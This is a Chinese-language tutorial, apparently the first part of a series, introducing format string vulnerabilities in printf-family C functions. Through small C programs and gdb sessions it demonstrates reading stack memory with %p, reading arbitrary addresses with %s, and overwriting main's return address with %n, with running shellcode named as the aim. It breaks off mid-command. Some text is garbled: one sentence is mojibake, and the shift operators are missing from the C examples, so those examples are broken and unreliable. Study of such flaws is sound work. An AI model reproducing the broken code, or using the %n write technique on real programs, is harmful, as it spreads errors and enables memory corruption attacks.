FormatString漏洞介绍/总结(一)

王朝other·作者佚名  2008-05-19
窄屏简体版  字體: |||超大  

其实这篇文章没什么技术含量,format string(格式化字符串)漏洞很久很久就被研究透了,scut的一篇pd文档属于非常详细的介绍/入门级文章,但是全英文以及里面例子有些解释不彻底, 以及有些例子已经不能使用了,所以这里想大致总结一下,并给出实验好的环境和代码.(实验平台:rh8.0,gcc自带版本)

Format string 漏洞一般是由以下几个函数引起的:

o fprintf - 输出到文件句柄

o printf - 输出到终端

o sprintf - 输出到一个字符串

o snprintf -输出指定长度到字符串

o vfprintf - print to a FILE stream from a va_arg structure

o vprintf - prints to 'stdout' from a va_arg structure

o vsprintf - prints to a string from a va_arg structure

o vsnprintf - prints to a string with length checking from a va_arg structure

Relatives:

o setproctitle - set argv[]

o syslog - output to the syslog facility

o 其他比如 err*, verr*, warn*, vwarn*

在使用这些函数的时候,如果指定了format格式的话,是不存在任何问题的,但是如果程序员偷懒,没指定format而直接输出字符串内容的话,就导致格式化字符串漏洞的发生,比如:

char *buffer;

……………….

printf("%s\n",buffer);

这段程序是不会产生字符串格式化的漏洞的,但是下面这个程序:

char *buffer;

…………..

printf(buffer);

如果buffer可以由用户控制的话,就会导致格式化字符串漏洞的发生。

类似还有:

syslog (LOG_NOTICE, buf);

fprintf(FILE *stream,buffer);

sprintf(char *string,buffer);

snprintf(char *string,strlen(string),buffer)

vfprintf(File *stream,buffer);

等。

1. 漏洞的产生/介绍

我们选用应用最普遍的printf函数来解答format string 漏洞的原理:

我们知道,一个标准正常的printf函数的格式化字符和参数应该是一一对应的,比如:

printf("%s%d%x\n",(char *)string,(int)intnum,(int)hexnum);

有几个%s等,后面就应该有几个参数,这样才可以一一显示该参数的内容,但是,如果有了格式化字符,如果没有跟参数,printf函数会怎么处理的呢?

[bkbll@mobile format]$ cat 6.c

main() { printf("%p %p %p %p %p %p\n"); }

%p表示按指针格式显示结果,我们编译运行下看看:

[bkbll@mobile format]$ gcc -o 6 6.c

[bkbll@mobile format]$ ./6

0x4212a2d0 0xbffffaf8 0x8048246 0x4200aec8 0x4212a2d0 0xbffffb18

显示的是一大堆的内存数据, 我们看看这些数据到底放在哪里的:

[bkbll@mobile format]$ gdb -q 6

(gdb) b main

Breakpoint 1 at 0x804832e

(gdb) r

Starting program: /home/bkbll/format/6

Breakpoint 1, 0x0804832e in main ()

(gdb) x/i printf

0x42052390 : push %ebp

(gdb) b *0x42052390

Breakpoint 2 at 0x42052390

(gdb) c

Continuing.

Breakpoint 2, 0x42052390 in printf () from /lib/i686/libc.so.6

(gdb) x/8wx $esp

0xbffffacc: 0x08048345 0x08048394 0x4212a2d0 0xbffffae8

0xbffffadc: 0x08048246 0x4200aec8 0x4212a2d0 0xbffffb08

(gdb)

从这里我们看到, printf的入口在0x42052390, 我们分析一下堆栈数据的结构:

当系统调用某个函数的时候,首先会将函数参数压入堆栈, 最后把函数的返回地址压入堆栈, 上面的0x08048345是函数printf的返回地址, 也就是在main函数里面调用printf函数后下一条要执行的指令.0x08048394存放的是我们给printf的参数:

(gdb) x/s 0x08048394

0x8048394 : "%p %p %p %p %p %p\n"

由于我们给printf了很多的格式化字符%p,但是又没给上相应的参数, 系统认为紧跟格式化字符串后面的数据即为printf的参数,所以就按照%p的格式打印在了终端上.

如果我给出了足够多的%p, 是否可以一直打印数据到0xbfffffff呢? 答案是肯定的, 这个不段用%p显示内存数据就是在scut的pdf上讲到的stack popup的涵义.

好,我们现在可以显示调用printf函数堆栈以上的内容了, 但是我们可以显示任意内存地址的内容吗? 我们看以下事例:

[bkbll@mobile format]$ cat 7.c

main()

{

char buffer[100]="";

strcpy(buffer,"AAAA%p %p %p %p %p %p\n");

printf(buffer);

}

[bkbll@mobile format]$ gcc -o 7 7.c

[bkbll@mobile format]$ ./7

AAAA0x8048458 0x4200dbb3 0x420069e8 0x41414141 0x25207025 0x70252070

0x41414141就是我们写的AAAA的16进制码, 如果我把显示0x41414141的%p换成%s, 不是就可以显示0x41414141地址的内容呢?

[bkbll@mobile format]$ cat 8.c

main()

{

char buffer[100]="";

strcpy(buffer,"AAAA%p %p %p %s %p %p\n");

printf(buffer);

}

[bkbll@mobile format]$ gcc -o 8 8.c ;./8

Segmentation fault

段错误, 我们跟踪一下:

[bkbll@mobile format]$ gdb -q 8

(gdb) r

Starting program: /home/bkbll/format/8

Program received signal SIGSEGV, Segmentation fault.

0x4207a4cb in strlen () from /lib/i686/libc.so.6

(gdb) disass $eip $eip+4

Dump of assembler code from 0x4207a4cb to 0x4207a4cf:

0x4207a4cb : cmp %ch,(%eax)

0x4207a4cd : je 0x4207a56a

End of assembler dump.

(gdb) i reg ecx eax

ecx 0x1 1

eax 0x41414141 1094795585

(gdb) x/bx $eax

0x41414141: Cannot access memory at address 0x41414141

Oh,因为我们没有权限访问0x41414141这个地址,所以系统提示段错误.

那我们换一个我们可以访问的地址吧:

[bkbll@mobile format]$ cat 9.c

main()

{

char buf1[]="hello,world";

char buffer[100]="";

strcpy(buffer,"AAAA%p %p %p %s %p %p\n");

buffer[0]=(int)buf1 & 0xff;

buffer[1]=((int)buf1 8) & 0xff;

buffer[2]=((int)buf1 16) & 0xff;

buffer[3]=((int)buf1 24) & 0xff;

printf(buffer);

}

[bkbll@mobile format]$ gcc -o 9 9.c ; ./9

帔?x80484cc (nil) (nil) hello,world 0x25207025 0x70252070

我们输出了hello,world字符串, 而这个字符串的地址是我们替换了AAAA的数据得到的.

从上面的例子我强梢钥闯鐾ü??墓乖焘uffer, 我们可以显示任何地方的数据, 也就是所谓的:read anywhere.

能读数据虽然可以得到很多东西,但结构并不是我们想要的, 我们要可写才可以控制这个程序的流程, 才能运行我们的shellcode.

printf系列函数提供了%n的格式, 用来把显示的数据长度写进一个int型的变量里面, 比如:

[bkbll@mobile format]$ cat 10.c

main()

{

int i=0;

printf("before printf,i:%d\n",i);

printf("hello,word\n%n",&i);

printf("after printf,i:%d\n",i);

}

[bkbll@mobile format]$ gcc -o 10 10.c;./10

before printf,i:0

hello,word

after printf,i:11

我们把printf的输出长度写到了变量i里面,所以i值变成了11,既然可以写, 那我再试试可不可以写到其他地方,我们试一下写到main的返回地址里面:

[bkbll@mobile format]$ gdb -q 10

(gdb) x/i main

0x8048328 : push %ebp

(gdb) b *0x8048328

Breakpoint 1 at 0x8048328

(gdb) r

Starting program: /home/bkbll/format/10

Breakpoint 1, 0x08048328 in main ()

(gdb) x/wx $esp

0xbffffaec: 0x420158d4

我们得到了main的返回地址在0xbffffaec处.

Ok, 我们修改一下程序:

[bkbll@mobile format]$ cat 11.c

main()

{

int i=0xbffffaec;

printf("hello,word\n%n",i);

}

[bkbll@mobile format]$ gcc -o 11 11.c

[bkbll@mobile format]$ gdb -q 11

(gdb) r

Starting program: /home/bkbll/format/11

hello,word

Program received signal SIGSEGV, Segmentation fault.

0x0000000b in ?? ()

(gdb) i reg eip

eip 0xb 0xb

(gdb)

ok,我们已经成功的把数据写到了main返回地址那里, 0x000000b显然是一个不可以执行的地址, 所以会报错.

联想一下,结合前面的read anywhere和这里的写, 我们是否可以动态写数据到任何地址呢?

[bkbll@mobile format]$ cat 12.c

main()

{

int buf1=0xbffffaec;

char buffer[100]="";

strcpy(buffer,"AAAA%p %p %p %n %p %p\n");

buffer[0]=(int)buf1 & 0xff;

buffer[1]=((int)buf1 8) & 0xff;

buffer[2]=((int)buf1 16) & 0xff;

buffer[3]=((int)buf1 24) & 0xff;

printf(buffer);

}

[bkbll@mobile format]$ gcc -o 12 12.c

[bkbll@mobile format]$ gdb -

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
 
 
© 2005- 王朝網路 版權所有 導航